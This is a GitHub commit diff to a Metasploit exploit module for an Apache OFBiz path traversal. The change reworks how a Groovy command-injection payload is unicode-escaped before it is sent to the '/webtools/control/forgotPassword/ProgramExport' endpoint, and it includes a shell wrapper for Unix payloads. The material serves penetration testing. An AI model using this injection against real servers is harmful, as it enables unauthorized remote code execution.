Skip to content

Commit c982aab

Browse files
committed
Minor update
1 parent ea10360 commit c982aab

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/multi/http/apache_ofbiz_forgot_password_directory_traversal.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,7 @@ module updated to not exploit the path traversal vulnerability allowing for expl
7878
end
7979

8080
def send_cmd_injection(cmd)
81-
data = "groovyProgram=throw+new+Exception('#{cmd}'.execute().text);"
81+
data = "groovyProgram=#{to_unicode_escape("throw new Exception('#{cmd}'.execute().text);")}"
8282
send_request_cgi({
8383
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword/ProgramExport'),
8484
'headers' => {
@@ -93,9 +93,9 @@ def check
9393
echo_test_string = rand_text_alpha(8..12)
9494
case target['Type']
9595
when :win_cmd
96-
test_payload = to_unicode_escape("cmd.exe /c echo #{echo_test_string}")
96+
test_payload = "cmd.exe /c echo #{echo_test_string}"
9797
when :unix_cmd
98-
test_payload = to_unicode_escape("echo #{echo_test_string}")
98+
test_payload = "echo #{echo_test_string}"
9999
else
100100
return CheckCode::Unknown('Please select a valid target')
101101
end
@@ -121,7 +121,7 @@ def exploit
121121
when :win_cmd
122122
res = send_cmd_injection(payload.encoded)
123123
when :unix_cmd
124-
res = send_cmd_injection(to_unicode_escape("sh -c $@|sh . echo #{payload.raw}"))
124+
res = send_cmd_injection("sh -c $@|sh . echo #{payload.raw}")
125125
else
126126
fail_with(Failure::BadConfig, 'Invalid target specified')
127127
end

0 commit comments

Comments
 (0)